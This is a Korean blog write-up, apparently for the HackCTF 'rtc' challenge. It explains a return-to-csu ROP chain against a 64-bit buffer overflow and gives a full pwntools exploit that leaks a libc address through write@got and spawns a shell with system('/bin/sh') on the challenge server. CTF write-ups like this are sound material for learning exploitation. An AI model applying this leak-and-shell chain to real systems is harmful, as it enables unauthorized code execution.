
1. 문제

NX 가 걸려있다.

멘트를 출력하고, 입력을 받는다.

buf 에 입력 시 bof 가 발생한다.
nx, aslr 이 걸려있는 상황에서 rop 를 이용해 풀려고 했는데, 마땅한 가젯이 없다...!
이런 경우 RTC(return to csu) 기법으로 문제를 풀 수 있었다.
__libc_csu_init() 함수로 리턴해 거기 있는 가젯들을 이용해 인자값을 레지스터에 저장하고 함수를 호출하여 주소를 leak 한 뒤, 다시 메인으로 돌아와서 bof 를 일으키면 된다.
RTC 기법은 다음 블로그를 참고해 공부하였다.
https://py0zz1.tistory.com/107
Return-to-Csu 기법 정리
포너블 문제를 풀 때, 64Bit 바이너리가 까다로운 이유가 바로 'Gadget' 때문이다. 64Bit의 Calling Convention은 Fastcall로 호출된 함수에 인자를 레지스터로 전달한다. 이 때문에 Exploit을 구성할 때도 [POP R.
py0zz1.tistory.com
2. 문제 해결 방안

두 부분으로 나누어서 보겠다.
csu_init (4006A0)
스택에 저장되어 있는 값을 rbx, rbp, r12, r13, r14, r15 로 pop 해서 넣는다.
csu_call (4006B6)
mov rdx, r13 : r13의 값을 rdx 레지스터에 넣는다.
mov rsi, r14 : r14의 값을 rsi 레지스터에 넣는다.
mov edi, r15d : r15의 값을 edi 레지스터에 넣는다.
call qword ptr [r12+rbx*8] : (r12 + rbx*8) 가 가르키는 주소를 호출한다.
-> r12에 원하는 주소를 적고, r8에 0을 주면 된다.
add rbx, 1 : rbx에 1을 더한다.
cmp rbx, rbp : rbx와 rbp를 비교한다.
jnz short loc_4006a0 : 위에서 rbx와 rbp가 같을 경우 다음 라인인 4006B6으로 이동한다.
접근 방법은 다음과 같을 것이다.
1) csu_init 주소로 RET를 덮는다.
-> 리턴 시 이 곳으로 이동할 것이다.
2) csu_call에서 함수 호출 시 rdi, rsi, rdx 레지스터를 사용하기 위해 r13, r14, r15에 적절한 값을 넣어준다.
3) 그 뒤 csu_call로 리턴하여 write(1,read@got, 8) 로 libc leak을 한 뒤, main 으로 돌아온다.
4) main 으로 리턴한 뒤에, leak 한 주소를 바탕으로 실제 함수 주소를 구해 system(binsh)을 실행한다.
다음과 같이 레지스터 값들을 세팅하면 된다.
rbx = 0
rbp = 1
r12 = write@got (plt 가 아닌 got 주소를 적어야 함)
r13 = 8
r14 = read@got
r15 = 1
retn = 4006A0으로 줘서 write 함수를 통해 leak 할 수 있도록 함.
3. 익스플로잇
from pwn import *
# context.log_level = 'debug'
# r = process('./rtc')
r = remote("ctf.j0n9hyun.xyz", 3025)
elf = ELF("./rtc")
libc = ELF("./libc.so.6")
read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
binsh_offset = list(libc.search(b"/bin/sh\00"))[0]
main = 0x4005f6
pr = 0x4006c3
# register set
rbx = 0
rbp = 1
r12 = elf.got['write']
r13 = 8
r14 = elf.got['read']
r15 = 1
# payload
payload = b"A"*0x48 + p64(0x4006ba)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(0x4006a0)
payload += p64(0)*7 + p64(main)
# send first payload
r.sendlineafter("\n", payload)
# address leak
read = u64(r.recv(8))
log.info("read : "+hex(read))
libcBase = read - read_offset
system = libcBase + system_offset
binsh = libcBase + binsh_offset
log.info("read : "+hex(read))
log.info("system : "+hex(system))
log.info("binsh : "+hex(binsh))
# second payload
payload2 = b"A"*0x48 + p64(pr) + p64(binsh) + p64(system)
# send second payload
r.sendlineafter("\n", payload2)
r.interactive()
익스플로잇 코드이다.
1) \n 까지 받고 페이로드를 전송
dummy*0x48 + 4006ba
rbx + rbp + r12 + r13 + r14 + r15 + 4006a0
"A"*8*7 + main
-> ret를 csu_init 주소로 변경
-> 레지스터 값들을 적절하게 세팅한 후 csu_call 로 return 해서 got 주소 leak
-> 다시 csu_init 으로 돌아가 ret 전까지를 더미로 채우고 ret 를 main 함수로 변경해 main 으로 돌아감
2) 메인으로 돌아간 뒤, leak 한 주소를 바탕으로 실제 주소를 구해서 system(binsh) 실행

'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] World Best Encryption Tool (0) | 2021.05.29 |
---|---|
[HackCTF] Unexploitable #2 (0) | 2021.05.23 |
[HackCTF] Unexploitable #1 (0) | 2021.05.23 |
[HackCTF] UAF (0) | 2021.05.08 |
[HackCTF] Beginner_Heap (0) | 2021.05.08 |